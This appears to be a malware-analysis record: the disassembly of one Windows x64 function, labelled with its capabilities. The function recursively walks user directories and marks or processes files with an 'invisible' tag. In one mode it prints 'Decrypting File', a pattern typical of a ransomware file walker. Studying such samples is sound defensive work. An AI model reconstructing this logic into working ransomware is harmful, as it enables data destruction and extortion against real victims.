Function at 0x140028c50
Capabilities:
Enumerate files on windows
Enumerate files recursively
Get common file path
Get file attributes

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x1a10]
mov eax, 0x1b10
call fcn.14001e550
sub rsp, rax
movzx edi, dx
mov rbx, rcx
cmp dx, 0x65
jne 0x140028c89
cmp byte [0x140039ab8], 0
je 0x140028fb6
xor edx, edx
lea rcx, [rbp + 0x5c0]
mov r8d, 0x1450
call fcn.140029150
mov eax, dword [0x140033b54]
mov dword [rsp + 0x40], eax
movzx eax, word [0x140033b58]
mov word [rsp + 0x44], ax
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp word [rbx + rax*2], 0
jne 0x140028cc0
cmp rax, 0x30c
ja 0x140028fb6
mov edx, 0x104
lea rcx, [rbp + 0x3b0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx eax, word [rbx]
movzx r8d, word [rbp + 0x3b0]
mov edx, eax
lea r9d, [rax - 0x61]
lea eax, [r8 - 0x61]
cmp ax, 0x19
lea ecx, [r8 - 0x20]
lea eax, [rdx - 0x20]
cmova cx, r8w
cmp r9w, 0x19
cmova ax, dx
cmp cx, ax
jne 0x140028d96
cmp r9w, 0x19
lea eax, [rdx - 0x20]
lea r9, str.Users
cmova ax, dx
lea rcx, [rbp + 0x1a0]
lea rdx, str._c:_s_
mov word [rbx], ax
call qword [sym.imp.USER32.dll_wsprintfW]
lea rax, [rbp + 0x1a0]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140028d53
lea rdx, [rbp + 0x1a0]
mov rcx, rbx
call fcn.14001110c
test eax, eax
je 0x140028d85
movzx edx, di
lea rcx, [rbp + 0x1a0]
call fcn.140028c50
jmp 0x140028fb6
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 2
jne 0x140028fb6
mov r8, rbx
mov qword [rsp + 0x1b20], rsi
lea rdx, str._s.
lea rcx, [rbp + 0x5c0]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x5c0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140028fae
mov qword [rsp + 0x1b28], r14
xor r14d, r14d
nop
lea rcx, [rsp + 0x7c]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rcx + rax*2], r14w
jne 0x140028df0
cmp rax, 0xff
ja 0x140028f87
mov eax, dword [rsp + 0x50]
cmp eax, 4
je 0x140028f87
cmp eax, 0x10000
je 0x140028f87
test al, 0x10
je 0x140028eda
lea rax, [rsp + 0x7c]
lea r8, [rsp + 0x42]
sub r8, rax
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140028e47
add rax, 2
test ecx, ecx
jne 0x140028e33
test edx, edx
je 0x140028f87
lea rax, [rsp + 0x7c]
lea r8, [rsp + 0x40]
sub r8, rax
nop dword [rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140028e74
add rax, 2
test ecx, ecx
jne 0x140028e60
test edx, edx
je 0x140028f87
mov r8, rbx
mov word [rbp + 0x5c0], r14w
mov edx, 0x30c
lea rcx, [rbp + 0x5c0]
call fcn.140008ca8
lea r8, [rsp + 0x7c]
mov edx, 0x30c
lea rcx, [rbp + 0x5c0]
call fcn.140008ca8
lea r8, [0x140033b8c]
mov edx, 0x30c
lea rcx, [rbp + 0x5c0]
call fcn.140008ca8
movzx edx, di
lea rcx, [rbp + 0x5c0]
call fcn.140028c50
jmp 0x140028f7c
mov r8, rbx
mov word [rbp + 0x5c0], r14w
mov edx, 0x30c
lea rcx, [rbp + 0x5c0]
call fcn.140008ca8
lea r8, [rsp + 0x7c]
mov edx, 0x30c
lea rcx, [rbp + 0x5c0]
call fcn.140008ca8
cmp di, 0x65
jne 0x140028f3f
lea rdx, str.invisible
lea rcx, [rbp + 0x5c0]
call fcn.140001d60
test rax, rax
jne 0x140028f7c
lea rcx, [rbp + 0x5c0]
call fcn.140020800
lea rcx, [0x140033b90]
jmp 0x140028f70
cmp di, 0x64
jne 0x140028f7c
lea rdx, str.invisible
lea rcx, [rbp + 0x5c0]
call fcn.140001d60
test rax, rax
je 0x140028f7c
lea rcx, [rbp + 0x5c0]
call fcn.140020300
lea rcx, str.Decrypting_File_:__s_n
lea rdx, [rbp + 0x5c0]
call fcn.140001070
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x50]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140028de0
mov r14, qword [rsp + 0x1b28]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rsi, qword [rsp + 0x1b20]
lea r11, [rsp + 0x1b10]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret